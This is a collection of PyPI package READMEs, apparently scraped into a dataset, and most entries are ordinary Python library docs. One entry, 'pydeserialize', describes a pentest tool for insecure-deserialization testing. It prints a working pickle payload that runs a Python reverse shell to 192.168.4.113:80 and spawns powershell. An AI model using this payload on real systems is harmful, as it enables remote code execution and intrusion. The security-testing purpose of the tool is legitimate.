Saravanan666/pypi-org huggingface dataset:
Package: pydepqbf
Authors:A lot of Python binding code and documentation has been lifted from PycoSAT
<https://pypi.python.org/pypi/pycosat>DepQBF is owned by Florian Lonsing <http://lonsing.github.io/depqbf/>The pydepqbf Python module is distributed under the same terms as DepQBF.AbstractDepQBFis an efficientQBFsolver
written by Florian Lonsing in pure C.
This package provides efficient Python bindings to DepQBF on the C level,
i.e., when importing pydepqbf, the DepQBF solver becomes part of the
Python process itself.UsageThepydepqbfmodule has one function:solve.The functionsolvereturns a tuple containing two elements. The
first element is an integer, that is either QDPLL_RESULT_SAT or
QDPLL_RESULT_UNSAT or QDPLL_RESULT_UNKNOWN. The second element
contains a partial certificate for the input problem. If the outermost
(leftmost) quantifier block of a satisfiable QBF is existentially
quantified, then the partial certificate is an assignment to the
variables of this block (and dual for unsatisfiable QBFs and universal
variables from the outermost block, if that block is universally
quantified). The partial certificate is None if the outermost block of
a satisfiable QBF is universally quantified or if the outermost block
of an unsatisfiable QBF is existentially quantified.ExampleLet us consider the following problem, represented by using
the QDIMACSQDIMACSformat:p cnf 5 3
a 1 2 0
e 3 4 0
-1 -3 0
1 2 4 0
1 -4 0Here, we have 4 variables and 3 clauses, the first clause being
(not x1or not x3).
In Python, each clause is
most conveniently represented as a list of integers.  Naturally, it makes
sense to represent each solution also as a list of integers, where the sign
corresponds to the Boolean value (+ for True and - for False) and the
absolute value corresponds to ithvariable:>>> from pydepqbf import solve, QDPLL_QTYPE_FORALL, QDPLL_QTYPE_EXISTS
>>> quantifiers = ((QDPLL_QTYPE_FORALL, (1, 2)), (QDPLL_QTYPE_EXISTS, (3, 4)))
>>> clauses = ((-1, -3), (1, 2, 4), (1, -4))
>>> solve(quantifiers, clauses)
(20, [-1, -2])The first element of the resulting pair is 20 (defined as
QDPLL_RESULT_UNSAT in the pydepqbf package) and the partial
certificate translates to: x1= x2= False.
Package: py-deprecate
Python Deprecation ToolkitPython code deprecation toolkit for deprecating your Python code using ashitlistapproach.InstallationInstall usingpip install py-deprecate.Examplefrompy_deprecateimportdeprecatedfrompy_deprecate.exceptionsimportDeprecationIntroduceddefallowed_sum_caller()->int:returnsum(5,10)defforbidden_sum_caller()->int:returnsum(5,10)# Only allowed_sum_caller is allowed to use sum.@deprecated(allowed_deprecations=[allowed_sum_caller],message="sum is no longer supported.")defsum(a:int,b:int)->int:returna+bassertallowed_sum_caller()==15# Now, try with the function that's not whitelistedtry:forbidden_sum_caller()exceptDeprecationIntroducedasexc:print("Caught deprecated exception!")#> Caught deprecated exception!Behaviourpy_deprcatewill raise an exception by default if a deprecated method
or function is called where it's not supposed to be called. This can be
overridden by specifying a behavior. Continuing from the example above:frompy_deprecateimportdeprecated,Disabled@deprecated(allowed_deprecations=[allowed_sum_caller],message="sum is no longer supported.",behavior=Disabled)defsum(a:int,b:int)->int:returna+bassertforbidden_sum_caller()==15Here we've disabled all the side effects by usingDisabledbehavior. By default
three behaviors are present:Disabled,RaiseExeption, andLog. You can also
write your own behaviors like this:fromtypingimportCallablefrompy_deprecate.behaviors.baseimportBaseBehaviorclassCustomBehavior(BaseBehavior):defexecute(self,message:str,func:Callable,*args,**kwargs):print("Custom behavior that will print this and raise Exception.")raiseException@deprecated(allowed_deprecations=[allowed_sum_caller],message="sum is no longer supported.",behavior=CustomBehavior)defsum(a:int,b:int)->int:returna+bforbidden_sum_caller()#> Custom behavior that will print this and raise Exception.#> Traceback (most recent call last):#>  ...#>  File "<stdin>", line 4, in execute#> ExceptionTestsRun the tests usingpython -m unittest.ResourcesShitlist Driven DevelopmentThis awesome Ruby gem that inspired me to create py_deprecate!LicensePython Deprecation Toolkit is licensed under theMIT License.
Package: py-deps
Thepy-depprovides parsing the dependencies of Python packages
and generating the metadata for graph.The graph data is forNetworkX,Linkdraw, etc.StatusRequirementsPython 3.8setuptools 46.1.0 overpip 20.0. overNetworkX 2.4 overpylibmc 1.6.1 over (optional)FeaturesGenerating Linkdraw data (JSON and decoded JSON).Generating Networkx DiGraph object data.Cache the parsed dependencies.Searching packages from PyPI.History1.0.1 (2020-09-19)Fixes raise-missing-from, super-with-arguments pylint violations.1.0.0 (2020-05-16)Updates dependencies.Refactors.Supports Python 3.8 only.0.5.5 (2015-08-19)Adds TimeoutError, ConnectionRefusedError / socket.error exceptions.Adds error handling the PyPI service down.Changes Sphinx theme to sphinx_rtd_theme.Adds counter of the each depth.0.5.4 (2015-07-22)Adds latest_version function.Adds link_prefix for overriding node link.0.5.3 (2015-07-19)Adds exception InvalidMetadata type.0.5.2 (2015-07-15)Fixes duplicated line of linkdraw.Changes linkdraw colors by dependencies depth.Adds depth property to graph nodes.Adds parsing the package dependency depth.0.5.1 (2015-07-12)Changes Package.search method to a function.Fixes infinity loop trace_chain.FixesNoneredundant second argument ofdict.get().Fixeslen()used to check if collection has items.Fixes old-style string formatting.0.5.0 (2015-06-22)Supports memcached as the backend of cache.0.4.6 (2015-06-11)Fixes not control the version of package correctly.0.4.5 (2015-06-07)Adds disable time, descr for Linkdraw.0.4.4 (2015-06-03)Removes debug print.0.4.3 (2015-06-02)Adds JSON decoder for Linkdraw.0.4.2 (2015-05-31)Fixes #7 not handling the failure of python setup egg_info.Adds py_deps.exceptions module.Adds py_deps.logger module.Fixes issues of DistributionNotFound, InstallationErrror.0.4.1 (2015-05-28)Adds Container.list_data method.Unsupports wheel format for distribution.0.4.0 (2015-05-20)Searching packages from PyPI.0.3.0 (2015-05-12)Supports NetworkX DiGraph objects.Changes to use mock instead of pip.req.RequirementSet.prepare_files.Coverage 98% over.0.2.0 (2015-05-10)Cache the parsed dependencies.Fixes setting the url of node and targets.0.1.1 (2015-05-08)Fixes test data of pretty_print, linkdraw.0.1.0 (2015-05-07)Supports generating linkdraw data.Supports pip 6.1.1 over.Supports wheel format for distribution.Adds unit tests.0.0.1 (2015-04-29)First release
Package: pydepsdev
PyDepsDevA Python library for interacting with the Deps.dev API. Easily fetch package, version, and project data from the API.Table of ContentsInstallationUsageInitializationFetching DataContributingLicenseInstallationTo installpydepsdev, simply run:pip3installpydepsdevUsageInitializationStart by importing the library and initializing the main class:frompydepsdevimportDepsdevAPIapi=DepsdevAPI()Fetching DataThe library provides methods that correspond to different endpoints in the Deps.dev API. Here's a breakdown of each method and how to use them:Get Package InformationFetch package details including available versions.package_info=awaitapi.get_package("system_name","package_name")Get Version InformationFetch detailed information about a specific package version.version_info=awaitapi.get_version("system_name","package_name","version_number")Get RequirementsReturn the requirements for a specific package version. (Note: Only available for NuGet.)requirements=awaitapi.get_requirements("NuGet","package_name","version_number")Get DependenciesFetch the resolved dependency graph for a specific package version.dependencies=awaitapi.get_dependencies("system_name","package_name","version_number")Get Project InformationRetrieve details about projects hosted by platforms like GitHub, GitLab, or BitBucket.project_info=awaitapi.get_project("project_id")Get Project Package VersionsFetch the package versions created from a specified source code repository.project_package_versions=awaitapi.get_project_package_versions("project_id")Get Advisory DetailsFetch information about a security advisory from OSV.advisory_info=awaitapi.get_advisory("advisory_id")Query Package VersionsQuery package versions based on content hash or version key.package_versions=awaitapi.query_package_versions(hash_type="type",hash_value="value",version_system="system_name",version_name="name",version="version_number")Get more informating about the query parameters and response values on theofficial API documentationContributingWe welcome contributions! If you find a bug or have suggestions, feel free to open an issue or submit a pull request.LicenseThis project is licensed under the Apache Software License 2.0.
Package: pyderivative
Derivative LibraryThis code is a library for calculating derived functions.InstallationTo install the library, use pip:pip install pyderivative==1.2UsageTo use the library, import theDerivativeclass from the library:from pyderivative.Derivative import DerivativeThen you can create an instance of theDerivativeclass by passing the function you want to differentiate as an argument:def func(x):
    return x**2
derivative = Derivative(func)Methodstailor_appCalculates the derivative of the function at the pointx0using the Taylor method.Usage example:result = derivative.tailor_app(2)polinom_appCalculates the derivative of the function at the pointx0using the polynomial method.Usage example:result = derivative.polinom_app(2)second_derivativeCalculates the second derivative of the function at the pointx0.Usage example:result = derivative.second_derivative(2)threepoint_pattern(x0, second_deriv=False)Calculates the first or second derivative of a function at the pointx0using the three-point method.Usage example:result = derivative.threepoint_pattern(2, second_deriv=True)Exception handlingIf the function was set using a grid, the methodstailor_app,polinom_appandthreepoint_patternwill throw an exception. If an error occurred while using the function, the methods will also throw an exception.LicenseThis library is available under the MIT license.
Package: pyderive3
pyderivePython3 Custom Dataclass HelpersInstallationpipinstallpyderive3FeaturesAdditional Features availalbe viaExtensions.Expanded Reimplementation of DataclassesDefault Standards Implemented'slots' kwarg now supported in older versions of python such as 3.8frompyderiveimport*@dataclassclassFoo:bar:int@dataclass(slots=True,order=True)classBar(Foo):foo:strbar=Bar(foo='foo',bar=100)print(asdict(bar))Recursive Field Compilationfrompyderiveimport*fromtypingimportOptionalclassFoo:bar:int@dataclass(recurse=True)classBar(Foo):foo:Optional[str]=Nonebar=Bar(foo='foo',bar=100)print(bar)Allow for Custom Field Definitionsfrompyderiveimport*fromtypingimportAny@dataclassclassNewField(BaseField):custom_attr:bool=Falsedeffield(*_,**kwargs)->Any:returnNewField(**kwargs)@dataclass(field=NewField)classFoo:a:intb:str=field(default='b',repr=False,custom_attr=True)foo=Foo(1,'boo')print(foo)forfinfields(foo):print(f.name,f.custom_attr)Backwards Compatibilityimportpyderiveimportdataclasses@dataclasses.dataclassclassFoo:a:intb:int=dataclasses.field(repr=False)@pyderive.dataclassclassBar(Foo):c:int=pyderive.field(frozen=True)f=Bar(1,2,3)print(f)Monkey Patchingfrompyderiveimportcompatcompat.monkey_patch()fromdataclassesimportdataclass,field@dataclassclassFoo:a:intb:int=field(frozen=True)f=Foo(1,2)print(f)Low Level Dataclass Compilation Toolsfrompyderiveimport*classFoo:foo:intclassBar(Foo):bar:int=100# parse class-structure into raw unordered heigharhcystruct=parse_fields(Bar,recurse=True)print('struct',struct)# order and structure fields into organized list following dataclass standardfields=flatten_fields(struct)print('final_fields',fields)# build and assign `init` and `repr` functions to `Bar` classassign_func(Bar,create_init(fields))assign_func(Bar,create_repr(fields))# assign slots for field definitions onto `Bar` classBar=add_slots(Bar,fields)print(Bar.__slots__)# initialize foo w/ compiled `init` func and print w/ added `repr`bar=Bar(foo=1,bar=2)print(bar)
Package: pyderman
Pyderman (Selenium Web Driver Installer)This is a fast, simple, dependency-free package that can automatically find & download any version of
theGoogle Chrome (chromeDriver), Firefox (geckoDriver), PhantomJS, Opera (operaDriver), and Edge (edgeDriver)web drivers.This project was built to allow developers to seamlessly include selenium support on the user-side, without requiring any manual configuration on their part. It will automatically locate the correct driver binary for the platform & version you choose, as well as setting the os-specific permissions after downloading.It istested dailyon Windows/Linux/macOS against Python versions 3.7+.InstallationTo install the library, run:pipinstallpydermanUsageAfter installed, call it in your code like so:importpydermanasdriverpath=driver.install(browser=driver.firefox)print(f"Installed geckodriver driver to path:{path}")There are options for the output directory, disabling printout, running chmod on the downloaded executable,
automatic overwriting, executable file name, and version number.
All parameters are optional, and the default values are listed below.This example downloads the Chrome Driver instead, by changingbrowserlike so:importpydermanasdrpath=dr.install(browser=dr.chrome,file_directory='./lib/',verbose=True,chmod=True,overwrite=False,version=None,filename=None,return_info=False)print(f"Installed chromedriver to path:{path}")The download is very fast, and will skip downloading if the file already exists. This behavior can be toggled withoverwrite.NotesNote on MS EdgeMicrosoft has switched Edge to use a flavor of Chrome behind the scenes. As of October 2019, Pyderman will download this MS Chromium Driver. Their driver is experimental, so make sure you know what you're doing if you use this driver. If you require stability, it is recommended you specify a version instead of using the "latest".Note on macOSSome versions of macOS have certificate issues with Python. Typically, in recent versions of Python, it will prompt you to install these when you install Python. Since Python needs these installed in order to make https requests, you may need to install these first. Depending on your project, it may also be possible to include a library to automatically import these certificates. Please visitthis linkto learn more.Note on Big SurApple broke a ton of compatibility moving to Big Sur, and now many of the web drivers do not have working builds within the new architecture. This project will only halfheartedly attempt to keep any drivers working on Big Sur architecture until all the available drivers have stable release patterns for the platform.Why's it called 'Pyderman'?Because it installsweb-drivers.Get it?
Package: pydero
pyderoPydero is a python wrapper for interacting with smart contracts on the DERO STARGATE testnet. Installing smart contracts is currently not supported, only executing a function on an already installed smart contract on the DERO block dag or query the value of stored variables in the smart contract. Executing a function requires a running dero cli-wallet with the flag --rpc-server. Retrieving the value of a stored variable requires a derod process running.usageFirst import the relevant classesfrom pydero import Contract, ConnectionInstantiate a python Contract object by the commandcontract = Contract(abi=abi,connection=connection,scid=scid)connection should be an instance of the Connection class, scid should be a string with the scid of the smart contract on the dero blockdag. abi should be a dictionary of the form corresponding to the functions and parameters of the smart contract and the parameter types should be strings that are either "Uint64" or "String". For example, if the contract has two functions called Function1 and Function2, the first with one Uint64 and one String parameter and the second with no parameters, the abi isfrom collections import OrderedDict
abi={"Function1":OrderedDict({"ParameterName1":"Uint64","ParameterName2":"String"}),"Function2":{}}The order of function parameters is important, and therefore it is recommended to use an OrderedDict instead. Instead of specifying the abi manually, it can be loaded from the dero blockdag. This requires a valid scid and a working connection to a dero daemon.contract.set_abi_from_db()To call a function on the contract, we simple docontract.Function1(123,"abc")To obtain the value of a stored variable called Foo:contract.get_attribute("Foo")We can also query different information form the running wallet, for exampleconnection.get_balance()We can also query the daemon for information, for exampleconnection.get_last_block_header()See the python scripts simple_test.py and test2.py for more examples.
Package: pydero-jonlindg
pyderoPydero is a python wrapper for interacting with smart contracts on the DERO STARGATE testnet. Installing smart contracts is currently not supported, only executing a function on an already installed smart contract on the DERO block dag or query the value of stored variables in the smart contract. Executing a function requires a running dero cli-wallet with the flag --rpc-server. Retrieving the value of a stored variable requires a derod process running.usageFirst import the relevant classesfrom pydero import Contract, ConnectionInstantiate a python Contract object by the commandcontract = Contract(abi=abi,connection=connection,scid=scid)connection should be an instance of the Connection class, scid should be a string with the scid of the smart contract on the dero blockdag. abi should be a dictionary of the form corresponding to the functions and parameters of the smart contract and the parameter types should be strings that are either "Uint64" or "String". For example, if the contract has two functions called Function1 and Function2, the first with one Uint64 and one String parameter and the second with no parameters, the abi isfrom collections import OrderedDict
abi={"Function1":OrderedDict({"ParameterName1":"Uint64","ParameterName2":"String"}),"Function2":{}}The order of function parameters is important, and therefore it is recommended to use an OrderedDict instead. Instead of specifying the abi manually, it can be loaded from the dero blockdag. This requires a valid scid and a working connection to a dero daemon.contract.set_abi_from_db()To call a function on the contract, we simple docontract.Function1(123,"abc")To obtain the value of a stored variable called Foo:contract.get_attribute("Foo")We can also query different information form the running wallet, for exampleconnection.get_balance()We can also query the daemon for information, for exampleconnection.get_last_block_header()See the python scripts simple_test.py and test2.py for more examples.
Package: py-desc
Installationpip installpy-descUsageSimple built-in types>>>frompy_desc.built_inimport*>>>>>>classYourClass:...bool_var=Boolean()...string_var=String()...positive_int_var=PositiveInteger()>>>>>>a=YourClass()>>>a.positive_int_var=5>>>a.string_var='str'>>>a.bool_var=True>>>>>>a.bool_var='string'ValueError:Mustbeboolean>>>a.string_var=5ValueError:Mustbestring>>>a.positive_int_var=-10ValueError:CannotbenegativeCustom Types>>>frompy_desc.built_inimport*>>>>>>classYourCustomClass:...first=CustomInteger(left=5)...second=CustomInteger(right=10)...third=CustomInteger(left=1,right=10)>>>>>>a=YourClass()>>>a.first=2ValueError:Cannotbesmallerthan5>>>a.second=50ValueError:Cannotbeequalorbiggerthan10>>>a.third=6# OK. this value in range 1-10>>>a.third=12ValueError:Cannotbenotinrange[1:10]>>>frompy_desc.built_inimport*>>>>>>@dataclass>>>classExampleData:...name:str...age:int>>>>>>>>>classYourCustomClass:...custom_list_int=CustomList(int)...custom_list_data=CustomList(ExampleData)>>>>>>a=YourCustomClass()>>>a.custom_list_int=[5,6,3,6]# OK. The same type was given>>>a.custom_list_int=[5.6,2.1,'str']ValueError:Valuesinlistmustbeint>>>a.custom_list_data=[ExampleData(name='Carl',age=23),ExampleData(name='Daniel',age=21)]>>>print(a.custom_list_data)[ExampleData(name='Carl',age=23),ExampleData(name='Daniel',age=21)]>>>a.custom_list_data=(ExampleData(name='Carl',age=23),ExampleData(name='Daniel',age=21))ValueError:Mustbelist
Package: py_descriptive_statistics
Port ofhttps://github.com/thirtysixthspan/descriptive_statisticsto python.
I’ve encapsulated it in an Enum class as I wasn’t intending to modify the original list.
My main use will be athttps://github.com/gleicon/pymetricspackage.Install$ python setup installBasic usage:from py_descriptive_statistics import Enum
enum = Enum([2,6,9,3,5,1,8,3,6,9,2])print enum.number()
print enum.sum()
print enum.mean()
print enum.median()
print enum.variance()
print enum.standard_deviation()
print enum.percentile(70)
print enum.percentile(95)
print enum.percentile(99)To run tests$ cd tests
$ python pdstests.py
Package: pydeserialize
pydeserialize testar vulnerabilidades de desserialização insegura do pythonCaracterísticas•Instalação•Forma de utilização•Detalhes•Executando revmapO pydeserialize é uma ferramenta que gera payloads de desserialização insegura em python. Possui uma funcionalidade que faz encode das payloads desejadas e dessa forma sendo simples e otimizada para velocidade. pydeserialize é construído para fazer apenas uma coisa - gera payloads de desserialização insegura + encodes e faz isso muito bem.Projetei opydeserializepara cumprir todas as responsabilidades para gera payloads e encodes, mantive um modelo consistentemente passivo para torná-lo útil para testadores de penetração.CaracterísticasGera payloads para explora vulnerabilidades de desserialização insegura em pythonForma de utilizaçãopydeserialize-ip192.168.4.113-p80-eshell-oWindows
pydeserialize-ip192.168.4.113-eb64-p80-oLinuxDetalhes_                 _     _ ____ _ _ _| |___ ___ ___ ___|_|___| |_|___ ___| . | | | . | -_|_ -| -_|  _| | .'| | |- _| -_||  _|_  |___|___|___|___|_| |_|__,|_|_|___|___||_| |___|v0.1.0 - @joaoviictortioptions:-h, --help            show this help message and exit-ip IP                Insert ip-p PORT               Insert port-e {b64,shell,urlencode,hex} Insert encoding-o {Windows,Linux}    Insert operational systemInstalaçãopydeserialize requerpython3e para baixá-lo só usar:pip3installpydeserializeExecutando pydeserializepydeserialize -ip 192.168.4.113 -p 80 -o Windows -e shell_                 _     _ ____ _ _ _| |___ ___ ___ ___|_|___| |_|___ ___| . | | | . | -_|_ -| -_|  _| | .'| | |- _| -_||  _|_  |___|___|___|___|_| |_|__,|_|_|___|___||_| |___|v0.1.0 - @joaoviictortib'\x80\x04\x95\xf9\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\xe1python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.4.113",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("powershell")\'\x94\x85\x94R\x94.'
Package: pydesk
# pydesk is a desktop automation in python# usage example:from pydesk import desktoppptx = desktop.PPTX()pptx.open(‘/path/to/pptx_file.pptx’)pptx.start_presentation_mode()pptx.next_slide(wait=2)pptx.next_slide(wait=2)pptx.next_slide(wait=2)pptx.previous_slide(wait=2)pptx.previous_slide(wait=2)pptx.previous_slide(wait=2)pptx.go_to_slide(2)pptx.exit_presentation_mode()pptx.close()desktop.switch_window(5)
Package: pydesktime
Module used to simplify usage ofDeskTimeAPIInstallationFrom PyPI:pip install pydesktimeUsagefrompydesktimeimportDeskTimedesktime=DeskTime(app_key=<yourappkey>,username=<yourusername>,password=<yourpassword>)# data is dictionary with data for all employees# on every work day (except Saturday and Sunday)# in provided year, monthdata=desktime.getMonth(2015,1)